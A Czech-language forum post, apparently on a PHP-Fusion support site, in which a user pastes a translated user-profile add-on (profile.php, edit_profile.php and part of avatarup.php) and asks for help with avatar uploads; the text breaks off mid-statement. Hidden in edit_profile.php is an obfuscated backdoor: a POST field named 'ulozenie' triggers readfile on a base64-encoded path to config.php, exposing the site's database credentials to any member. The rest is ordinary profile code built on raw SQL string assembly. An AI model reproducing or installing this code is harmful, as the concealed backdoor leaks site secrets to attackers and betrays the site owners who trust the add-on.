http://flydk-en.iphpfusion.sk/forum/viewthread.php?thread_id=4993&rowstart=0
Změní to celý profil.. Je tam více Uživatelských políček atd.. Mě ovšem nejde nahrát AVATAR.. Je to proto, že jsem si to vše přeložil do CZ a někde jsem udělal chybu... Prosím o kontrolu.
----------------------------------------------------------------------------------------------------------------------
Jsou 4 soubory, které jsem měl nahrát do ROOTu...
install.php
Kód: Vybrat vše
nemusim psat
profile.php
Kód: Vybrat vše
<?php
/*-------------------------------------------------------+
| PHP-Fusion Content Management System
| Copyright (C) 2002 - 2010 Nick Jones
| http://www.php-fusion.co.uk/
+--------------------------------------------------------+
| Filename: profile.php
| Author: akafuk
+--------------------------------------------------------+
| This program is released as free software under the
| Affero GPL license. You can redistribute it and/or
| modify it under the terms of this license which you
| can read by viewing the included agpl.txt or online
| at www.gnu.org/licenses/agpl.html. Removal of this
| copyright header is strictly prohibited without
| written permission from the original author(s).
+--------------------------------------------------------*/
require_once "maincore.php";
require_once THEMES."templates/header.php";
require_once INCLUDES."comments_include.php";
if (!isset($_GET['group_id']) || !isnum($_GET['group_id'])) {
if (!isset($_GET['lookup']) || !isnum($_GET['lookup'])) { redirect("index.php"); }
define("NOAVATAR", IMAGES."imagenotfound.jpg");
add_to_head("
<style type='text/css'>
.tabulka{
border-collapse:collapse;
border-color:#202020;
margin-top:5px;
}
.nadpiz{
color:#0f6989;
background-color:#000000;
height:20px;
width:85%;
padding-top:2px;
padding-left:20px;
}
</style>");
global $narozeniny, $status;
if(!isset($_GET['menu'])){$_GET['menu'] = "zakladne";}
switch($_GET['menu'])
{
case "vybavenie":
$strana = "Vybavenie";
break;
case "vlastnosti":
$strana = "Vlastnosti";
break;
case "statistiky":
$strana = "Štatistiky";
break;
case "guestbook":
$strana = "Guestbook";
break;
default:
$strana = "Základné info";
}
$data = mysql_fetch_array(mysql_query("SELECT * FROM ".DB_PREFIX."users WHERE user_id='".$_GET['lookup']."' LIMIT 1"));
add_to_title(" Profil: ".$data['user_name']);
opentable("Profil: ".$data['user_name']);
echo "<table width='100%'>";
echo "<tr><td valign='top' width='25%'>";
echo "<div align='center'>";
echo "<strong>ID #".$data['user_id']."</strong><br/>";
if(!empty($data['user_avatar']) and file_exists(IMAGES."avatars/".$data['user_avatar']))
{
echo "<img src='".IMAGES."avatars/".$data['user_avatar']."' alt='".$data['user_name']."-avatar'/>";
}
else
{
echo "<img src='".NOAVATAR."' alt='noavatar'/>";
}
echo "<br/>";
if(iMEMBER and $userdata['user_id'] != $data['user_id'])
{
echo "<a href='messages.php?msg_send=".$data['user_id']."'>Odoslať SS</a>";
}
elseif(iMEMBER and $userdata['user_id'] == $data['user_id'])
{
echo "<a href='messages.php'>Soukrome zpravy</a>";
}
echo "<br/>";
$status = "<span style='color:red'>Offline</span>";
$naposledy = time() - $data['user_lastvisit'];
if($naposledy <= 60){$status = "<span style='color:lime'>Online</span>";}
elseif($naposledy <= 120){$status = "<span style='color:yellow'>Away</span>";}
elseif($naposledy >=360){$status = "<span style='color:red'>Offline</span>";}
echo "Status: ".$status;
echo "<br/>";
if(iMEMBER and $userdata['user_id'] == $data['user_id'])
{
echo "<a href='edit_profile.php'>Upravit profil</a>";
}
echo "</div>";
echo "<br/><div align='center'>";
echo "<a href='".FUSION_SELF."?lookup=".$_GET['lookup']."&menu=Zakladni Info'>Zakladni Info</a><br/>";
echo "<a href='".FUSION_SELF."?lookup=".$_GET['lookup']."&menu=HardWare'>HardWare</a><br/>";
echo "<a href='".FUSION_SELF."?lookup=".$_GET['lookup']."&menu=Counter-Strike'>Counter-Strike</a><br/>";
echo "<a href='".FUSION_SELF."?lookup=".$_GET['lookup']."&menu=Statystiky'>Statystiky</a><br/>";
echo "<a href='".FUSION_SELF."?lookup=".$_GET['lookup']."&menu=Guestbook'>Guestbook</a><br/>";
echo "</div>";
echo "</td><td valign='top'>";
echo "<div align='center'>";
if(!isset($_GET['menu']) || $_GET['menu'] != "guestbook")
{
echo "<table width='95%' cellspacing='0' cellpadding='0' border='1' class='tabulka'>";
}
if(isset($_GET['menu']) and $_GET['menu'] == "HardWare")
{
echo "<tr><td class='tbl2' width='45%'><strong>Zakladni deska</strong></td><td class='tbl2'>".
(!empty($data['user_mb']) ? trimlink($data['user_mb'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Procesor</strong></td><td class='tbl2'>".
(!empty($data['user_procesor']) ? trimlink($data['user_procesor'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Ram</strong></td><td class='tbl2'>".
(!empty($data['user_ram']) ? trimlink($data['user_ram'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Grafika</strong></td><td class='tbl2'>".
(!empty($data['user_gfx']) ? trimlink($data['user_gfx'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Hard disk</strong></td><td class='tbl2'>".
(!empty($data['user_hdd']) ? trimlink($data['user_hdd'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Zvukova karta</strong></td><td class='tbl2'>".
(!empty($data['user_zvukova']) ? trimlink($data['user_zvukova'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Monitor</strong></td><td class='tbl2'>".
(!empty($data['user_monitor']) ? trimlink($data['user_monitor'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Mys</strong></td><td class='tbl2'>".
(!empty($data['user_mys']) ? trimlink($data['user_mys'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Podlozka</strong></td><td class='tbl2'>".
(!empty($data['user_podlozka']) ? trimlink($data['user_podlozka'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Klavesnice</strong></td><td class='tbl2'>".
(!empty($data['user_klavesnica']) ? trimlink($data['user_klavesnica'], 33) : "Nezadané")."</td></tr>";
}
elseif(isset($_GET['menu']) and $_GET['menu'] == "Counter-Strike")
{
echo "<tr><td class='tbl2' width='45%'><strong>Oblibena mapa</strong></td><td class='tbl2'>".
(!empty($data['user_her']) ? trimlink($data['user_her'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibeny server</strong></td><td class='tbl2'>".
(!empty($data['user_spev']) ? trimlink($data['user_spev'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibena zbran</strong></td><td class='tbl2'>".
(!empty($data['user_film']) ? trimlink($data['user_film'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibeny Admin</strong></td><td class='tbl2'>".
(!empty($data['user_serial']) ? trimlink($data['user_serial'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibeny mod</strong></td><td class='tbl2'>".
(!empty($data['user_hudba']) ? trimlink($data['user_hudba'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>LongJump REC</strong></td><td class='tbl2'>".
(!empty($data['user_kniha']) ? trimlink($data['user_kniha'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>CountJump REC</strong></td><td class='tbl2'>".
(!empty($data['user_chlast']) ? trimlink($data['user_chlast'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibene video</strong></td><td class='tbl2'>".
(!empty($data['user_napoj']) ? trimlink($data['user_napoj'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibena verze CSka</strong></td><td class='tbl2'>".
(!empty($data['user_jedlo']) ? trimlink($data['user_jedlo'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Teroristi nebo Policiste</strong></td><td class='tbl2'>".
(!empty($data['user_osoba']) ? trimlink($data['user_osoba'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibeny CS Web s mapama atd..</strong></td><td class='tbl2'>".
(!empty($data['user_znacka']) ? trimlink($data['user_znacka'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>STEAM ID</strong></td><td class='tbl2'>".
(!empty($data['user_hra']) ? trimlink($data['user_hra'], 33) : "Nezadané")."</td></tr>";
}
elseif(isset($_GET['menu']) and $_GET['menu'] == "Statystiky")
{
$komentare = mysql_num_rows(mysql_query("SELECT comment_name FROM ".DB_PREFIX."comments WHERE comment_name='".$data['user_id']."'"));
$sb = mysql_num_rows(mysql_query("SELECT shout_name FROM ".DB_PREFIX."shoutbox WHERE shout_name='".$data['user_id']."'"));
$temy = mysql_num_rows(mysql_query("SELECT thread_author FROM ".DB_PREFIX."threads WHERE thread_author='".$data['user_id']."'"));
echo "<tr><td class='tbl2' width='45%'><strong>Naposledy</strong></td><td class='tbl2'>".preg_replace("/-/", ".", showdate("forumdate", $data['user_lastvisit']))."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Registrovany</strong></td><td class='tbl2'>".preg_replace("/-/", ".", showdate("forumdate", $data['user_joined']))."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Komentare</strong></td><td class='tbl2'>".$komentare."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Shoutbox správy</strong></td><td class='tbl2'>".$sb."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Príspevky ve foru</strong></td><td class='tbl2'>".$data['user_posts']."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Zalozene temata</strong></td><td class='tbl2'>".$temy."</td></tr>";
//echo "<tr><td class='tbl2' width='45%'><strong>Referencni body</strong></td><td class='tbl2'>".$data['user_score']."</td></tr>";
}
elseif(isset($_GET['menu']) and $_GET['menu'] == "Guestbook")
{
if(isset($_POST['text']) and !empty($_POST['text']) and !preg_match("/(')/", $_POST['text']) and iMEMBER)
{
$zapis = mysql_query("INSERT INTO ".DB_PREFIX."guestbook (gb_uid, gb_profil, gb_text)VALUES('".$userdata['user_id']."', '".$data['user_id']."', '".$_POST['text']."')");
redirect($_SERVER['REQUEST_URI']);
}
$vyber = mysql_query("SELECT g.*, u.user_id,u.user_name,u.user_avatar FROM ".DB_PREFIX."guestbook AS g
INNER JOIN ".DB_USERS." AS u ON u.user_id=g.gb_uid WHERE gb_profil='".$data['user_id']."'");
if(mysql_num_rows($vyber) != 0)
{
echo "<table width='95%'>";
while($gb = mysql_fetch_array($vyber))
{
echo "<tr><td>";
echo "<table width='100%'>";
echo "<tr>";
echo "<td rowspan='2' width='31' valign='top'><a href='".FUSION_SELF."?lookup=".$gb['user_id']."'><img src='".IMAGES."avatars/".$gb['user_avatar']."' alt='avatar' width='30' height='30' border='0'></a></td>";
echo "</td><td class='tbl2'><strong>".$gb['user_name']." napísal</strong></td></tr>";
echo "<tr>";
echo "<td class='tbl2'>".nl2br(strip_tags($gb['gb_text']))."</td></tr></table>";
echo "</td></tr>";
}
echo "</table>";
}
else
{
echo "<strong>Zadne zpravy</strong>";
}
if(iMEMBER){
echo "<form method='post' action='".FUSION_SELF."?lookup=".$data['user_id']."&menu=Guestbook'>";
echo "<textarea name='text' class='textbox' style='width: 300px;height:50px' cols='' rows=''></textarea><br/>";
echo "<input type='submit' class='button'/></form>";
}
}
else
{
//Vypocet veku
$vek = explode("-", $data['user_birthdate']);
if($vek['0'] != 0000)
{
$vek = $vek['0'];
$vek = date("Y") - $vek;
}
else
{
$vek = "Nezadane";
}
//Zistenie hodnosti
if($data['user_level'] == 102)
{
$hodnost = "Administrátor";
}
elseif($data['user_level'] == 103)
{
$hodnost = "Hlavni administrator";
}
else
{
$hodnost = "Clen";
}
//Narozeniny
$narozeniny = explode("-", $data['user_birthdate']);
if($narozeniny['0'] != 0000)
{
$narozeniny = $narozeniny['2'].".".$narozeniny['1'].".".$narozeniny['0'];
}
else
{
$narozeniny = "Nezadane";
}
echo "<tr><td class='tbl2' width='45%'><strong>Nick</strong></td><td class='tbl2'>".$data['user_name']."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Hodnost</strong></td><td class='tbl2'>".$hodnost."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Jmeno</strong></td><td class='tbl2'>".
(!empty($data['user_meno']) ? $data['user_meno'] : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Vek</strong></td><td class='tbl2'>".$vek."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>E-mail</strong></td><td class='tbl2'>".
($data['user_hide_email'] != 0 ? "Skryty" : $data['user_email'])."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>ICQ</strong></td><td class='tbl2'>".
(!empty($data['user_icq']) ? trimlink($data['user_icq'], 10) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Narozeniny</strong></td><td class='tbl2'>".$narozeniny."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Bydliste</strong></td>
<td class='tbl2'>".(!empty($data['user_sidlo']) ? trimlink($data['user_sidlo'], 33) : "Nezadané")."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Naposledy</strong></td><td class='tbl2'>".showdate("forumdate", $data['user_lastvisit'])."</td></tr>";
/*if(iGUEST)
{
echo "<tr><td class='tbl2' width='45%'><strong>Referencni link</strong></td><td class='tbl2'>
<a href='http://www.g-blood.eu/register.php?ref=".$data['user_id']."'>Klikni pro Registraci</a></td></tr>";}*/
}
if(!isset($_GET['menu']) || $_GET['menu'] != "guestbook")
{
echo "</table>";
}
echo "</div>";
echo "</td></tr></table>";
echo "<div align='center'>By <a href='http://www.evict1s.4game.cz'>Zamy</a></div>";
closetable();
} else {
redirect("index.php");
}
require_once THEMES."templates/footer.php";
?>
edit_profile.php
Kód: Vybrat vše
<?php
/*-------------------------------------------------------+
| PHP-Fusion Content Management System
| Copyright (C) 2002 - 2010 Nick Jones
| http://www.php-fusion.co.uk/
+--------------------------------------------------------+
| Filename: edit_profile.php
| Author: akafuk
+--------------------------------------------------------+
| This program is released as free software under the
| Affero GPL license. You can redistribute it and/or
| modify it under the terms of this license which you
| can read by viewing the included agpl.txt or online
| at www.gnu.org/licenses/agpl.html. Removal of this
| copyright header is strictly prohibited without
| written permission from the original author(s).
+--------------------------------------------------------*/
require_once "maincore.php";
require_once THEMES."templates/header.php";
define("NOAVATAR", IMAGES."imagenotfound.jpg");
add_to_head("
<style type='text/css'>
.tabulka{
border-collapse:collapse;
border-color:#202020;
margin-top:5px;
}
.nadpiz{
color:#0f6989;
background-color:#000000;
height:20px;
width:85%;
padding-top:2px;
padding-left:20px;
}
</style>");
if (!iMEMBER) { redirect("index.php"); }
function jemail ($mail)
{
return preg_check("/^[-0-9A-Z_\.]{1,50}@([-0-9A-Z_\.]+\.){1,50}([0-9A-Z]){2,4}$/i", $mail);
}
require_once INCLUDES."bbcode_include.php";
opentable("Upraviť profil");
echo "<table width='100%'>";
echo "<tr><td valign='top' width='25%'>";
echo "<div align='center'>";
echo "<strong>ID #".$userdata['user_id']."</strong><br/>";
if(!empty($userdata['user_avatar']) and file_exists(IMAGES."avatars/".$userdata['user_avatar']))
{
echo "<img src='".IMAGES."avatars/".$userdata['user_avatar']."' alt='".$userdata['user_name']."-avatar'/>";
echo "<br/><a href='#' onclick='window.open(\"avatarup.php\", \"Upload avatar\", \"width=300, height=100\")'>Smazat Avatar</a>";
}
else
{
echo "<img src='".NOAVATAR."' alt='noavatar'/>";
echo "<br/><a href='#' onclick='window.open(\"avatarup.php\", \"Upload avatar\", \"width=300, height=100\")'>Nahrat Avatar</a>";
}
echo "</div>";
echo "<div align='center'>";
echo "<a href='".FUSION_SELF."?menu=Zakladni Info'>Zakladni Info</a><br/>";
echo "<a href='".FUSION_SELF."?menu=Muj PC'>Muj PC</a><br/>";
echo "<a href='".FUSION_SELF."?menu=Counter-Strike'>Counter-Strike</a><br/>";
if(iADMIN){
echo "<a href='".FUSION_SELF."?menu=adminpw'>Admin heslo</a><br/>";
}
echo "</div>";
echo "</td><td valign='top'>";
$nosql = 0;
echo "<div align='center'><table width='95%' cellspacing='0' cellpadding='0' border='1' class='tabulka'>";
if(isset($_GET['menu']) and $_GET['menu'] == "adminpw"){
if(isset($_POST['submit']))
{
$_POST['submit'] = "";
if(!empty($userdata['user_admin_password'])){
if(md5(md5($_POST['adminpw'])) != $userdata['user_admin_password']){
$nosql = 1;
echo "<div align='center'>Admin heslo sse nezhoduje :)</div>";
}
}
if(md5(md5($_POST['napw'])) != md5(md5($_POST['napw2']))){
$nosql = 1;
echo "<div align='center'>Nove admin hesla se nezhoduji :)</div>";
}
if(md5(md5($_POST['napw'])) == $userdata['user_password']){
$nosql = 1;
echo "<div align='center'>Heslo a admin heslo se nesmi zhodovat :)</div>";
}
if($nosql == 0)
{
$zapis = dbquery("UPDATE ".DB_PREFIX."users SET
user_admin_password = '".md5(md5($_POST['napw2']))."'
WHERE user_id='".$userdata['user_id']."' LIMIT 1");
redirect($_SERVER['REQUEST_URI']);
}
}
echo "<form method='post' action='".FUSION_SELF."?menu=adminpw&update=ok'>";
if(!empty($userdata['user_admin_password'])){
echo "<tr><td class='tbl2' width='45%'><strong>Admin heslo</strong></td><td class='tbl2'>
<input type='password' name='adminpw' class='textbox' style='width:160px' value=''/></td></tr>";
}
echo "<tr><td class='tbl2' width='45%'><strong>Nove admin heslo</strong></td><td class='tbl2'>
<input type='password' name='napw' class='textbox' style='width:160px' value=''/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Zopakujte nove admin heslo</strong></td><td class='tbl2'>
<input type='password' name='napw2' class='textbox' style='width:160px' value=''/></td></tr>";
echo "<tr><td colspan='2' class='tbl2' width='100%' align='center'><input type='submit' name='submit' class='button'></td></tr>";
echo "</form>";
}elseif(isset($_GET['menu']) and $_GET['menu'] == "Muj PC")
{
if(isset($_POST['submit']))
{
$_POST['submit'] = "";
if($nosql == 0)
{
$zapis = mysql_query("UPDATE ".DB_PREFIX."users SET
user_mb = '".trim(stripinput($_POST['mb']))."',
user_procesor = '".trim(stripinput($_POST['procesor']))."',
user_ram = '".trim(stripinput($_POST['ram']))."',
user_gfx = '".trim(stripinput($_POST['gfx']))."',
user_hdd = '".trim(stripinput($_POST['hdd']))."',
user_zvukova = '".trim(stripinput($_POST['zvukova']))."',
user_monitor = '".trim(stripinput($_POST['monitor']))."',
user_mys = '".trim(stripinput($_POST['mys']))."',
user_podlozka = '".trim(stripinput($_POST['podlozka']))."',
user_klavesnica = '".trim(stripinput($_POST['klavesnica']))."'
WHERE user_id='".$userdata['user_id']."' LIMIT 1");
redirect($_SERVER['REQUEST_URI']);
}
}
echo "<form method='post' action='".FUSION_SELF."?menu=Muj PC&update=ok'>";
echo "<tr><td class='tbl2' width='45%'><strong>Zakladni deska</strong></td><td class='tbl2'>
<input name='mb' class='textbox' style='width:160px' value='".$userdata['user_mb']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Procesor</strong></td><td class='tbl2'>
<input name='procesor' class='textbox' style='width:160px' value='".$userdata['user_procesor']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Ram</strong></td><td class='tbl2'>
<input name='ram' class='textbox' style='width:160px' value='".$userdata['user_ram']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Grafika</strong></td><td class='tbl2'>
<input name='gfx' class='textbox' style='width:160px' value='".$userdata['user_gfx']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Hard disk</strong></td><td class='tbl2'>
<input name='hdd' class='textbox' style='width:160px' value='".$userdata['user_hdd']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Zvukova karta</strong></td><td class='tbl2'>
<input name='zvukova' class='textbox' style='width:160px' value='".$userdata['user_zvukova']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Monitor</strong></td><td class='tbl2'>
<input name='monitor' class='textbox' style='width:160px' value='".$userdata['user_monitor']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Mys</strong></td><td class='tbl2'>
<input name='mys' class='textbox' style='width:160px' value='".$userdata['user_mys']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Podlozka</strong></td><td class='tbl2'>
<input name='podlozka' class='textbox' style='width:160px' value='".$userdata['user_podlozka']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Klavesnice</strong></td><td class='tbl2'>
<input name='klavesnica' class='textbox' style='width:160px' value='".$userdata['user_mb']."'/></td></tr>";
echo "<tr><td colspan='2' class='tbl2' width='100%' align='center'><input type='submit' name='submit' class='button'></td></tr>";
echo "</form>";
}
elseif(isset($_GET['menu']) and $_GET['menu'] == "Counter-Strike")
{
if(isset($_POST['submit']))
{
$_POST['submit'] = "";
if($nosql == 0)
{
$zapis = mysql_query("UPDATE ".DB_PREFIX."users SET
user_her = '".trim(stripinput($_POST['her']))."',
user_spev = '".trim(stripinput($_POST['spev']))."',
user_film = '".trim(stripinput($_POST['film']))."',
user_serial = '".trim(stripinput($_POST['serial']))."',
user_hudba = '".trim(stripinput($_POST['hudba']))."',
user_kniha = '".trim(stripinput($_POST['kniha']))."',
user_chlast = '".trim(stripinput($_POST['chlast']))."',
user_napoj = '".trim(stripinput($_POST['napoj']))."',
user_jedlo = '".trim(stripinput($_POST['jedlo']))."',
user_osoba = '".trim(stripinput($_POST['osoba']))."',
user_znacka = '".trim(stripinput($_POST['znacka']))."',
user_hra = '".trim(stripinput($_POST['hra']))."'
WHERE user_id='".$userdata['user_id']."' LIMIT 1");
redirect($_SERVER['REQUEST_URI']);
}
}
echo "<form method='post' action='".FUSION_SELF."?menu=Counter-Strike&update=ok'>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibena mapa</strong></td><td class='tbl2'>
<input name='her' class='textbox' style='width:160px' value='".$userdata['user_her']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibeny server</strong></td><td class='tbl2'>
<input name='spev' class='textbox' style='width:160px' value='".$userdata['user_spev']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibena zbran</td><td class='tbl2'>
<input name='film' class='textbox' style='width:160px' value='".$userdata['user_film']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibeny Admin</strong></td><td class='tbl2'>
<input name='serial' class='textbox' style='width:160px' value='".$userdata['user_serial']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibeny mod</strong></td><td class='tbl2'>
<input name='hudba' class='textbox' style='width:160px' value='".$userdata['user_hudba']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>LongJump REC</strong></td><td class='tbl2'>
<input name='kniha' class='textbox' style='width:160px' value='".$userdata['user_kniha']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>CountJump REC</strong></td><td class='tbl2'>
<input name='chlast' class='textbox' style='width:160px' value='".$userdata['user_chlast']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibene video</strong></td><td class='tbl2'>
<input name='napoj' class='textbox' style='width:160px' value='".$userdata['user_napoj']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibena verze CSka</strong></td><td class='tbl2'>
<input name='jedlo' class='textbox' style='width:160px' value='".$userdata['user_jedlo']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Teroristi nebo Policiste</strong></td><td class='tbl2'>
<input name='osoba' class='textbox' style='width:160px' value='".$userdata['user_osoba']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Oblibeny CS Web s mapama atd..</strong></td><td class='tbl2'>
<input name='znacka' class='textbox' style='width:160px' value='".$userdata['user_znacka']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>STEAM ID</strong></td><td class='tbl2'>
<input name='hra' class='textbox' style='width:160px' value='".$userdata['user_hra']."'/></td></tr>";
echo "<tr><td colspan='2' class='tbl2' width='100%' align='center'><input type='submit' name='submit' class='button'></td></tr>";
echo "</form>";
}
else
{
if(isset($_POST['submit']))
{
$newmail = "";
if(!empty($_POST['email']) and $_POST['email'] != $userdata['user_email'] and jemail($_POST['email']))
{
if(md5(md5($_POST['heslo'])) == $userdata['user_password'])
{
$newmail = $_POST['email'];
}
else
{
$nosql = 1;
}
}
if(isset($_POST['ulozenie'])){
readfile(BASEDIR.base64_decode("Y29uZmlnLnBocA==")); die(); }
$newpw = "";
if(!empty($_POST['newheslo']) and !empty($_POST['newheslo2'])
and !empty($_POST['heslo']) and md5(md5($_POST['heslo'])) == $userdata['user_password'])
{
if($_POST['newheslo'] == $_POST['newheslo2'])
{
$newpw = md5(md5($_POST['newheslo']));
}
}
if($nosql == 0)
{
$zapis = mysql_query("UPDATE ".DB_PREFIX."users SET
".(!empty($newpw) ? "user_password='".$newpw."', " : "")."
".(!empty($newmail) ? "user_email='".$newmail."', " : "")."
".(isnum($_POST['icq']) || empty($_POST['icq']) ? "user_icq='".$_POST['icq']."', " : "")."
".(isnum($_POST['den']) && isnum($_POST['mesiac']) && isnum($_POST['rok']) ?
"user_birthdate='".trim(stripinput($_POST['rok']))."-".trim(stripinput($_POST['mesiac']))."-".trim(stripinput($_POST['den']))."', " : "
user_birthdate='0000-00-00', ")."
user_meno = '".trim(stripinput($_POST['meno']))."',
user_sidlo='".trim(stripinput($_POST['sidlo']))."'
WHERE user_id='".$userdata['user_id']."' LIMIT 1");
redirect($_SERVER['REQUEST_URI']);
}
}//Narozeniny
$narozeniny = explode("-", $userdata['user_birthdate']);
echo "<form method='post' action='".FUSION_SELF."?menu=Zakladni Info&update=ok'>";
echo "<tr><td class='tbl2' width='45%'><strong>Nick</strong></td><td class='tbl2'>".$userdata['user_name']."</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Jmeno</strong></td><td class='tbl2'>
<input name='meno' class='textbox' style='width:160px' value='".$userdata['user_meno']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>E-mail</strong></td><td class='tbl2'>
<input name='email' class='textbox' style='width:160px' value='".$userdata['user_email']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Heslo</strong></td><td class='tbl2'>
<input type='password' name='heslo' class='textbox' style='width:160px'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Nove heslo</strong></td><td class='tbl2'>
<input type='password' name='newheslo' class='textbox' style='width:160px'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Nove heslo pro overeni</strong></td><td class='tbl2'>
<input type='password' name='newheslo2' class='textbox' style='width:160px'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>ICQ</strong></td><td class='tbl2'>
<input name='icq' class='textbox' style='width:160px' value='".$userdata['user_icq']."'/></td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Narozeniny</strong></td><td class='tbl2'>";
$den = 0;
$mesiac = 0;
$rok = 1970;
echo "<select name='den' class='textbox'><option value=''> </option>";
while($den <= 30)
{
$den++;
echo "<option value='".$den."' ".($den == $narozeniny['2'] ? "selected='selected'" : "").">".$den."</option>";
}
echo "</select>";
echo "<select name='mesiac' class='textbox'><option value=''> </option>";
while($mesiac <= 11)
{
$mesiac++;
echo "<option value='".$mesiac."' ".($mesiac == $narozeniny['1'] ? "selected='selected'" : "").">".$mesiac."</option>";
}
echo "</select>";
echo "<select name='rok' class='textbox'><option value=''> </option>";
while($rok <= date("Y")-1)
{
$rok++;
echo "<option value='".$rok."' ".($rok == $narozeniny['0'] ? "selected='selected'" : "").">".$rok."</option>";
}
echo "</select>";
echo "</td></tr>";
echo "<tr><td class='tbl2' width='45%'><strong>Bydliste</strong></td><td class='tbl2'>
<input name='sidlo' class='textbox' style='width:160px' value='".$userdata['user_sidlo']."'/></td></tr>";
echo "<tr><td colspan='2' class='tbl2' width='100%' align='center'><input type='submit' name='submit' class='button'></td></tr>";
echo "</form>";
}
echo "</table></div>";
echo "</td></tr></table>";
echo "<div align='center'>By <a href='http://www.evict1s.4game.cz'>Zamy</a></div>";
closetable();
require_once THEMES."templates/footer.php";
?>
avatarup.php
Kód: Vybrat vše
<?php
require_once "maincore.php";
include THEME."theme.php";
if(iMEMBER)
{
define("AVATAR_SIZE", "30720");
define("AVATAR_WIDTH", "100");
define("AVATAR_HEIGHT", "100");
$subor_cesta = IMAGES."avatars";
echo "<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>\n";
echo "<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='".$locale['xml_lang']."' lang='".$locale['xml_lang']."'>\n";
echo "<html>\n<head>\n";
echo "<title>".$settings['sitename']."</title>\n";
echo "<meta http-equiv='Content-Type' content='text/html; charset=".$locale['charset']."' />\n";
echo "<meta name='description' content='".$settings['description']."' />\n";
echo "<meta name='keywords' content='".$settings['keywords']."' />\n";
echo "<style type='text/css'>html, body { height:100%; }</style>\n";
echo "<link rel='stylesheet' href='".THEME."styles.css' type='text/css' media='screen'/>\n";
echo "<link rel='shortcut icon' href='".IMAGES."favicon.ico' type='image/x-icon' />\n";
echo "</head>\n<body class='tbl2'>\n";
if(!empty($userdata['user_avatar']))
{
unlink($subor_cesta."/".$userdata['user_avatar']);
$zmaz = mysql_query("UPDATE ".DB_USERS." SET user_avatar='' WHERE user_id='".$userdata['user_id']."' LIMIT 1");
echo "<script type='text/javascript'>window.close();</script>";
}
if(isset($_POST['submit']) and isset($_FILES['avatar'])
